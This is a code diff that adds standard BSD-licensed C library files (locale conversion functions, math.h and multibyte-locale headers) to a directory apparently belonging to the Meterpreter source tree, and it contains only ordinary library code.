0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
|
||||
0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
|
||||
0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
|
||||
0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
|
||||
0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff,
|
||||
},
|
||||
{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
||||
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
|
||||
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
|
||||
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
|
||||
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
|
||||
0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
|
||||
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
|
||||
0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
|
||||
0x40, 'A', 'B', 'C', 'D', 'E', 'F', 'G',
|
||||
'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
|
||||
'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
|
||||
'X', 'Y', 'Z', 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
|
||||
0x60, 'A', 'B', 'C', 'D', 'E', 'F', 'G',
|
||||
'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
|
||||
'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
|
||||
'X', 'Y', 'Z', 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
|
||||
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
|
||||
0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
|
||||
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
|
||||
0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
|
||||
0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
|
||||
0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
|
||||
0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
|
||||
0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
|
||||
0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
|
||||
0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
|
||||
0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
|
||||
0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
|
||||
0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
|
||||
0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
|
||||
0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
|
||||
0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff,
|
||||
},
|
||||
};
|
||||
|
||||
_RuneLocale *_CurrentRuneLocale = &_DefaultRuneLocale;
|
||||
|
41
c/meterpreter/source/ulibc/locale/wcrtomb.c
Normal file
41
c/meterpreter/source/ulibc/locale/wcrtomb.c
Normal file
@ -0,0 +1,41 @@
|
||||
/*-
|
||||
* Copyright (c) 2002-2004 Tim J. Robbins.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/wcrtomb.c 129153 2004-05-12 14:09:04Z tjr $");
|
||||
|
||||
#include <wchar.h>
|
||||
#include "mblocal.h"
|
||||
|
||||
size_t
|
||||
wcrtomb(char * __restrict s, wchar_t wc, mbstate_t * __restrict ps)
|
||||
{
|
||||
static mbstate_t mbs;
|
||||
|
||||
if (ps == NULL)
|
||||
ps = &mbs;
|
||||
return (__wcrtomb(s, wc, ps));
|
||||
}
|
45
c/meterpreter/source/ulibc/locale/wcsrtombs.c
Normal file
45
c/meterpreter/source/ulibc/locale/wcsrtombs.c
Normal file
@ -0,0 +1,45 @@
|
||||
/*-
|
||||
* Copyright (c) 2002-2004 Tim J. Robbins.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/wcsrtombs.c 132497 2004-07-21 10:54:57Z tjr $");
|
||||
|
||||
#include <limits.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <wchar.h>
|
||||
#include "mblocal.h"
|
||||
|
||||
size_t
|
||||
wcsrtombs(char * __restrict dst, const wchar_t ** __restrict src, size_t len,
|
||||
mbstate_t * __restrict ps)
|
||||
{
|
||||
static mbstate_t mbs;
|
||||
|
||||
if (ps == NULL)
|
||||
ps = &mbs;
|
||||
return (__wcsnrtombs(dst, src, SIZE_T_MAX, len, ps));
|
||||
}
|
1
c/meterpreter/source/ulibc/machine
Normal file
1
c/meterpreter/source/ulibc/machine
Normal file
@ -0,0 +1 @@
|
||||
link arch/Linux/i686
|
489
c/meterpreter/source/ulibc/math.h
Normal file
489
c/meterpreter/source/ulibc/math.h
Normal file
@ -0,0 +1,489 @@
|
||||
/*
|
||||
* ====================================================
|
||||
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
|
||||
*
|
||||
* Developed at SunPro, a Sun Microsystems, Inc. business.
|
||||
* Permission to use, copy, modify, and distribute this
|
||||
* software is freely granted, provided that this notice
|
||||
* is preserved.
|
||||
* ====================================================
|
||||
*/
|
||||
|
||||
/*
|
||||
* from: @(#)fdlibm.h 5.1 93/09/24
|
||||
* $FreeBSD: head/lib/msun/src/math.h 189805 2009-03-14 18:58:53Z das $
|
||||
*/
|
||||
|
||||
#ifndef _MATH_H_
|
||||
#define _MATH_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_types.h>
|
||||
#include <machine/_limits.h>
|
||||
|
||||
/*
|
||||
* ANSI/POSIX
|
||||
*/
|
||||
extern const union __infinity_un {
|
||||
unsigned char __uc[8];
|
||||
double __ud;
|
||||
} __infinity;
|
||||
|
||||
extern const union __nan_un {
|
||||
unsigned char __uc[sizeof(float)];
|
||||
float __uf;
|
||||
} __nan;
|
||||
|
||||
#if __GNUC_PREREQ__(3, 3) || (defined(__INTEL_COMPILER) && __INTEL_COMPILER >= 800)
|
||||
#define __MATH_BUILTIN_CONSTANTS
|
||||
#endif
|
||||
|
||||
#if __GNUC_PREREQ__(3, 0) && !defined(__INTEL_COMPILER)
|
||||
#define __MATH_BUILTIN_RELOPS
|
||||
#endif
|
||||
|
||||
#ifdef __MATH_BUILTIN_CONSTANTS
|
||||
#define HUGE_VAL __builtin_huge_val()
|
||||
#else
|
||||
#define HUGE_VAL (__infinity.__ud)
|
||||
#endif
|
||||
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
#define FP_ILOGB0 (-__INT_MAX)
|
||||
#define FP_ILOGBNAN __INT_MAX
|
||||
|
||||
#ifdef __MATH_BUILTIN_CONSTANTS
|
||||
#define HUGE_VALF __builtin_huge_valf()
|
||||
#define HUGE_VALL __builtin_huge_vall()
|
||||
#define INFINITY __builtin_inff()
|
||||
#define NAN __builtin_nanf("")
|
||||
#else
|
||||
#define HUGE_VALF (float)HUGE_VAL
|
||||
#define HUGE_VALL (long double)HUGE_VAL
|
||||
#define INFINITY HUGE_VALF
|
||||
#define NAN (__nan.__uf)
|
||||
#endif /* __MATH_BUILTIN_CONSTANTS */
|
||||
|
||||
#define MATH_ERRNO 1
|
||||
#define MATH_ERREXCEPT 2
|
||||
#define math_errhandling MATH_ERREXCEPT
|
||||
|
||||
/* XXX We need a <machine/math.h>. */
|
||||
#if defined(__ia64__) || defined(__sparc64__)
|
||||
#define FP_FAST_FMA 1
|
||||
#endif
|
||||
#ifdef __ia64__
|
||||
#define FP_FAST_FMAL 1
|
||||
#endif
|
||||
#define FP_FAST_FMAF 1
|
||||
|
||||
/* Symbolic constants to classify floating point numbers. */
|
||||
#define FP_INFINITE 0x01
|
||||
#define FP_NAN 0x02
|
||||
#define FP_NORMAL 0x04
|
||||
#define FP_SUBNORMAL 0x08
|
||||
#define FP_ZERO 0x10
|
||||
#define fpclassify(x) \
|
||||
((sizeof (x) == sizeof (float)) ? __fpclassifyf(x) \
|
||||
: (sizeof (x) == sizeof (double)) ? __fpclassifyd(x) \
|
||||
: __fpclassifyl(x))
|
||||
|
||||
#define isfinite(x) \
|
||||
((sizeof (x) == sizeof (float)) ? __isfinitef(x) \
|
||||
: (sizeof (x) == sizeof (double)) ? __isfinite(x) \
|
||||
: __isfinitel(x))
|
||||
#define isinf(x) \
|
||||
((sizeof (x) == sizeof (float)) ? __isinff(x) \
|
||||
: (sizeof (x) == sizeof (double)) ? isinf(x) \
|
||||
: __isinfl(x))
|
||||
#define isnan(x) \
|
||||
((sizeof (x) == sizeof (float)) ? isnanf(x) \
|
||||
: (sizeof (x) == sizeof (double)) ? isnan(x) \
|
||||
: __isnanl(x))
|
||||
#define isnormal(x) \
|
||||
((sizeof (x) == sizeof (float)) ? __isnormalf(x) \
|
||||
: (sizeof (x) == sizeof (double)) ? __isnormal(x) \
|
||||
: __isnormall(x))
|
||||
|
||||
#ifdef __MATH_BUILTIN_RELOPS
|
||||
#define isgreater(x, y) __builtin_isgreater((x), (y))
|
||||
#define isgreaterequal(x, y) __builtin_isgreaterequal((x), (y))
|
||||
#define isless(x, y) __builtin_isless((x), (y))
|
||||
#define islessequal(x, y) __builtin_islessequal((x), (y))
|
||||
#define islessgreater(x, y) __builtin_islessgreater((x), (y))
|
||||
#define isunordered(x, y) __builtin_isunordered((x), (y))
|
||||
#else
|
||||
#define isgreater(x, y) (!isunordered((x), (y)) && (x) > (y))
|
||||
#define isgreaterequal(x, y) (!isunordered((x), (y)) && (x) >= (y))
|
||||
#define isless(x, y) (!isunordered((x), (y)) && (x) < (y))
|
||||
#define islessequal(x, y) (!isunordered((x), (y)) && (x) <= (y))
|
||||
#define islessgreater(x, y) (!isunordered((x), (y)) && \
|
||||
((x) > (y) || (y) > (x)))
|
||||
#define isunordered(x, y) (isnan(x) || isnan(y))
|
||||
#endif /* __MATH_BUILTIN_RELOPS */
|
||||
|
||||
#define signbit(x) \
|
||||
((sizeof (x) == sizeof (float)) ? __signbitf(x) \
|
||||
: (sizeof (x) == sizeof (double)) ? __signbit(x) \
|
||||
: __signbitl(x))
|
||||
|
||||
typedef __double_t double_t;
|
||||
typedef __float_t float_t;
|
||||
#endif /* __ISO_C_VISIBLE >= 1999 */
|
||||
|
||||
/*
|
||||
* XOPEN/SVID
|
||||
*/
|
||||
#if __BSD_VISIBLE || __XSI_VISIBLE
|
||||
#define M_E 2.7182818284590452354 /* e */
|
||||
#define M_LOG2E 1.4426950408889634074 /* log 2e */
|
||||
#define M_LOG10E 0.43429448190325182765 /* log 10e */
|
||||
#define M_LN2 0.69314718055994530942 /* log e2 */
|
||||
#define M_LN10 2.30258509299404568402 /* log e10 */
|
||||
#define M_PI 3.14159265358979323846 /* pi */
|
||||
#define M_PI_2 1.57079632679489661923 /* pi/2 */
|
||||
#define M_PI_4 0.78539816339744830962 /* pi/4 */
|
||||
#define M_1_PI 0.31830988618379067154 /* 1/pi */
|
||||
#define M_2_PI 0.63661977236758134308 /* 2/pi */
|
||||
#define M_2_SQRTPI 1.12837916709551257390 /* 2/sqrt(pi) */
|
||||
#define M_SQRT2 1.41421356237309504880 /* sqrt(2) */
|
||||
#define M_SQRT1_2 0.70710678118654752440 /* 1/sqrt(2) */
|
||||
|
||||
#define MAXFLOAT ((float)3.40282346638528860e+38)
|
||||
extern int signgam;
|
||||
#endif /* __BSD_VISIBLE || __XSI_VISIBLE */
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
#if 0
|
||||
/* Old value from 4.4BSD-Lite math.h; this is probably better. */
|
||||
#define HUGE HUGE_VAL
|
||||
#else
|
||||
#define HUGE MAXFLOAT
|
||||
#endif
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
/*
|
||||
* Most of these functions depend on the rounding mode and have the side
|
||||
* effect of raising floating-point exceptions, so they are not declared
|
||||
* as __pure2. In C99, FENV_ACCESS affects the purity of these functions.
|
||||
*/
|
||||
__BEGIN_DECLS
|
||||
/*
|
||||
* ANSI/POSIX
|
||||
*/
|
||||
int __fpclassifyd(double) __pure2;
|
||||
int __fpclassifyf(float) __pure2;
|
||||
int __fpclassifyl(long double) __pure2;
|
||||
int __isfinitef(float) __pure2;
|
||||
int __isfinite(double) __pure2;
|
||||
int __isfinitel(long double) __pure2;
|
||||
int __isinff(float) __pure2;
|
||||
int __isinfl(long double) __pure2;
|
||||
int __isnanl(long double) __pure2;
|
||||
int __isnormalf(float) __pure2;
|
||||
int __isnormal(double) __pure2;
|
||||
int __isnormall(long double) __pure2;
|
||||
int __signbit(double) __pure2;
|
||||
int __signbitf(float) __pure2;
|
||||
int __signbitl(long double) __pure2;
|
||||
|
||||
double acos(double);
|
||||
double asin(double);
|
||||
double atan(double);
|
||||
double atan2(double, double);
|
||||
double cos(double);
|
||||
double sin(double);
|
||||
double tan(double);
|
||||
|
||||
double cosh(double);
|
||||
double sinh(double);
|
||||
double tanh(double);
|
||||
|
||||
double exp(double);
|
||||
double frexp(double, int *); /* fundamentally !__pure2 */
|
||||
double ldexp(double, int);
|
||||
double log(double);
|
||||
double log10(double);
|
||||
double modf(double, double *); /* fundamentally !__pure2 */
|
||||
|
||||
double pow(double, double);
|
||||
double sqrt(double);
|
||||
|
||||
double ceil(double);
|
||||
double fabs(double) __pure2;
|
||||
double floor(double);
|
||||
double fmod(double, double);
|
||||
|
||||
/*
|
||||
* These functions are not in C90.
|
||||
*/
|
||||
#if __BSD_VISIBLE || __ISO_C_VISIBLE >= 1999 || __XSI_VISIBLE
|
||||
double acosh(double);
|
||||
double asinh(double);
|
||||
double atanh(double);
|
||||
double cbrt(double);
|
||||
double erf(double);
|
||||
double erfc(double);
|
||||
double exp2(double);
|
||||
double expm1(double);
|
||||
double fma(double, double, double);
|
||||
double hypot(double, double);
|
||||
int ilogb(double) __pure2;
|
||||
int (isinf)(double) __pure2;
|
||||
int (isnan)(double) __pure2;
|
||||
double lgamma(double);
|
||||
long long llrint(double);
|
||||
long long llround(double);
|
||||
double log1p(double);
|
||||
double logb(double);
|
||||
long lrint(double);
|
||||
long lround(double);
|
||||
double nan(const char *) __pure2;
|
||||
double nextafter(double, double);
|
||||
double remainder(double, double);
|
||||
double remquo(double, double, int *);
|
||||
double rint(double);
|
||||
#endif /* __BSD_VISIBLE || __ISO_C_VISIBLE >= 1999 || __XSI_VISIBLE */
|
||||
|
||||
#if __BSD_VISIBLE || __XSI_VISIBLE
|
||||
double j0(double);
|
||||
double j1(double);
|
||||
double jn(int, double);
|
||||
double y0(double);
|
||||
double y1(double);
|
||||
double yn(int, double);
|
||||
|
||||
#if __XSI_VISIBLE <= 500 || __BSD_VISIBLE
|
||||
double gamma(double);
|
||||
#endif
|
||||
|
||||
#if __XSI_VISIBLE <= 600 || __BSD_VISIBLE
|
||||
double scalb(double, double);
|
||||
#endif
|
||||
#endif /* __BSD_VISIBLE || __XSI_VISIBLE */
|
||||
|
||||
#if __BSD_VISIBLE || __ISO_C_VISIBLE >= 1999
|
||||
double copysign(double, double) __pure2;
|
||||
double fdim(double, double);
|
||||
double fmax(double, double) __pure2;
|
||||
double fmin(double, double) __pure2;
|
||||
double nearbyint(double);
|
||||
double round(double);
|
||||
double scalbln(double, long);
|
||||
double scalbn(double, int);
|
||||
double tgamma(double);
|
||||
double trunc(double);
|
||||
#endif
|
||||
|
||||
/*
|
||||
* BSD math library entry points
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
double drem(double, double);
|
||||
int finite(double) __pure2;
|
||||
int isnanf(float) __pure2;
|
||||
|
||||
/*
|
||||
* Reentrant version of gamma & lgamma; passes signgam back by reference
|
||||
* as the second argument; user must allocate space for signgam.
|
||||
*/
|
||||
double gamma_r(double, int *);
|
||||
double lgamma_r(double, int *);
|
||||
|
||||
/*
|
||||
* IEEE Test Vector
|
||||
*/
|
||||
double significand(double);
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
/* float versions of ANSI/POSIX functions */
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
float acosf(float);
|
||||
float asinf(float);
|
||||
float atanf(float);
|
||||
float atan2f(float, float);
|
||||
float cosf(float);
|
||||
float sinf(float);
|
||||
float tanf(float);
|
||||
|
||||
float coshf(float);
|
||||
float sinhf(float);
|
||||
float tanhf(float);
|
||||
|
||||
float exp2f(float);
|
||||
float expf(float);
|
||||
float expm1f(float);
|
||||
float frexpf(float, int *); /* fundamentally !__pure2 */
|
||||
int ilogbf(float) __pure2;
|
||||
float ldexpf(float, int);
|
||||
float log10f(float);
|
||||
float log1pf(float);
|
||||
float logf(float);
|
||||
float modff(float, float *); /* fundamentally !__pure2 */
|
||||
|
||||
float powf(float, float);
|
||||
float sqrtf(float);
|
||||
|
||||
float ceilf(float);
|
||||
float fabsf(float) __pure2;
|
||||
float floorf(float);
|
||||
float fmodf(float, float);
|
||||
float roundf(float);
|
||||
|
||||
float erff(float);
|
||||
float erfcf(float);
|
||||
float hypotf(float, float);
|
||||
float lgammaf(float);
|
||||
float tgammaf(float);
|
||||
|
||||
float acoshf(float);
|
||||
float asinhf(float);
|
||||
float atanhf(float);
|
||||
float cbrtf(float);
|
||||
float logbf(float);
|
||||
float copysignf(float, float) __pure2;
|
||||
long long llrintf(float);
|
||||
long long llroundf(float);
|
||||
long lrintf(float);
|
||||
long lroundf(float);
|
||||
float nanf(const char *) __pure2;
|
||||
float nearbyintf(float);
|
||||
float nextafterf(float, float);
|
||||
float remainderf(float, float);
|
||||
float remquof(float, float, int *);
|
||||
float rintf(float);
|
||||
float scalblnf(float, long);
|
||||
float scalbnf(float, int);
|
||||
float truncf(float);
|
||||
|
||||
float fdimf(float, float);
|
||||
float fmaf(float, float, float);
|
||||
float fmaxf(float, float) __pure2;
|
||||
float fminf(float, float) __pure2;
|
||||
#endif
|
||||
|
||||
/*
|
||||
* float versions of BSD math library entry points
|
||||
*/
|
||||
#if __BSD_VISIBLE
|
||||
float dremf(float, float);
|
||||
int finitef(float) __pure2;
|
||||
float gammaf(float);
|
||||
float j0f(float);
|
||||
float j1f(float);
|
||||
float jnf(int, float);
|
||||
float scalbf(float, float);
|
||||
float y0f(float);
|
||||
float y1f(float);
|
||||
float ynf(int, float);
|
||||
|
||||
/*
|
||||
* Float versions of reentrant version of gamma & lgamma; passes
|
||||
* signgam back by reference as the second argument; user must
|
||||
* allocate space for signgam.
|
||||
*/
|
||||
float gammaf_r(float, int *);
|
||||
float lgammaf_r(float, int *);
|
||||
|
||||
/*
|
||||
* float version of IEEE Test Vector
|
||||
*/
|
||||
float significandf(float);
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
/*
|
||||
* long double versions of ISO/POSIX math functions
|
||||
*/
|
||||
#if __ISO_C_VISIBLE >= 1999
|
||||
#if 0
|
||||
long double acoshl(long double);
|
||||
#endif
|
||||
long double acosl(long double);
|
||||
#if 0
|
||||
long double asinhl(long double);
|
||||
#endif
|
||||
long double asinl(long double);
|
||||
long double atan2l(long double, long double);
|
||||
#if 0
|
||||
long double atanhl(long double);
|
||||
#endif
|
||||
long double atanl(long double);
|
||||
#if 0
|
||||
long double cbrtl(long double);
|
||||
#endif
|
||||
long double ceill(long double);
|
||||
long double copysignl(long double, long double) __pure2;
|
||||
#if 0
|
||||
long double coshl(long double);
|
||||
#endif
|
||||
long double cosl(long double);
|
||||
#if 0
|
||||
long double erfcl(long double);
|
||||
long double erfl(long double);
|
||||
#endif
|
||||
long double exp2l(long double);
|
||||
#if 0
|
||||
long double expl(long double);
|
||||
long double expm1l(long double);
|
||||
#endif
|
||||
long double fabsl(long double) __pure2;
|
||||
long double fdiml(long double, long double);
|
||||
long double floorl(long double);
|
||||
long double fmal(long double, long double, long double);
|
||||
long double fmaxl(long double, long double) __pure2;
|
||||
long double fminl(long double, long double) __pure2;
|
||||
long double fmodl(long double, long double);
|
||||
long double frexpl(long double value, int *); /* fundamentally !__pure2 */
|
||||
long double hypotl(long double, long double);
|
||||
int ilogbl(long double) __pure2;
|
||||
long double ldexpl(long double, int);
|
||||
#if 0
|
||||
long double lgammal(long double);
|
||||
#endif
|
||||
long long llrintl(long double);
|
||||
long long llroundl(long double);
|
||||
#if 0
|
||||
long double log10l(long double);
|
||||
long double log1pl(long double);
|
||||
long double log2l(long double);
|
||||
#endif
|
||||
long double logbl(long double);
|
||||
#if 0
|
||||
long double logl(long double);
|
||||
#endif
|
||||
long lrintl(long double);
|
||||
long lroundl(long double);
|
||||
long double modfl(long double, long double *); /* fundamentally !__pure2 */
|
||||
long double nanl(const char *) __pure2;
|
||||
long double nearbyintl(long double);
|
||||
long double nextafterl(long double, long double);
|
||||
double nexttoward(double, long double);
|
||||
float nexttowardf(float, long double);
|
||||
long double nexttowardl(long double, long double);
|
||||
#if 0
|
||||
long double powl(long double, long double);
|
||||
#endif
|
||||
long double remainderl(long double, long double);
|
||||
long double remquol(long double, long double, int *);
|
||||
long double rintl(long double);
|
||||
long double roundl(long double);
|
||||
long double scalblnl(long double, long);
|
||||
long double scalbnl(long double, int);
|
||||
#if 0
|
||||
long double sinhl(long double);
|
||||
#endif
|
||||
long double sinl(long double);
|
||||
long double sqrtl(long double);
|
||||
#if 0
|
||||
long double tanhl(long double);
|
||||
#endif
|
||||
long double tanl(long double);
|
||||
#if 0
|
||||
long double tgammal(long double);
|
||||
#endif
|
||||
long double truncl(long double);
|
||||
|
||||
#endif /* __ISO_C_VISIBLE >= 1999 */
|
||||
__END_DECLS
|
||||
|
||||
#endif /* !_MATH_H_ */
|
61
c/meterpreter/source/ulibc/mblocal.h
Normal file
61
c/meterpreter/source/ulibc/mblocal.h
Normal file
@ -0,0 +1,61 @@
|
||||
/*-
|
||||
* Copyright (c) 2004 Tim J. Robbins.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/mblocal.h 142654 2005-02-27 15:11:09Z phantom $
|
||||
*/
|
||||
|
||||
#ifndef _MBLOCAL_H_
|
||||
#define _MBLOCAL_H_
|
||||
|
||||
/*
|
||||
* Rune initialization function prototypes.
|
||||
*/
|
||||
int _none_init(_RuneLocale *);
|
||||
int _UTF8_init(_RuneLocale *);
|
||||
int _EUC_init(_RuneLocale *);
|
||||
int _GB18030_init(_RuneLocale *);
|
||||
int _GB2312_init(_RuneLocale *);
|
||||
int _GBK_init(_RuneLocale *);
|
||||
int _BIG5_init(_RuneLocale *);
|
||||
int _MSKanji_init(_RuneLocale *);
|
||||
|
||||
/*
|
||||
* Conversion function pointers for current encoding.
|
||||
*/
|
||||
extern size_t (*__mbrtowc)(wchar_t * __restrict, const char * __restrict,
|
||||
size_t, mbstate_t * __restrict);
|
||||
extern int (*__mbsinit)(const mbstate_t *);
|
||||
extern size_t (*__mbsnrtowcs)(wchar_t * __restrict, const char ** __restrict,
|
||||
size_t, size_t, mbstate_t * __restrict);
|
||||
extern size_t (*__wcrtomb)(char * __restrict, wchar_t, mbstate_t * __restrict);
|
||||
extern size_t (*__wcsnrtombs)(char * __restrict, const wchar_t ** __restrict,
|
||||
size_t, size_t, mbstate_t * __restrict);
|
||||
|
||||
extern size_t __mbsnrtowcs_std(wchar_t * __restrict, const char ** __restrict,
|
||||
size_t, size_t, mbstate_t * __restrict);
|
||||
extern size_t __wcsnrtombs_std(char * __restrict, const wchar_t ** __restrict,
|
||||
size_t, size_t, mbstate_t * __restrict);
|
||||
|
||||
#endif /* _MBLOCAL_H_ */
|
759
c/meterpreter/source/ulibc/netinet/in.h
Normal file
759
c/meterpreter/source/ulibc/netinet/in.h
Normal file
@ -0,0 +1,759 @@
|
||||
/*-
|
||||
* Copyright (c) 1982, 1986, 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
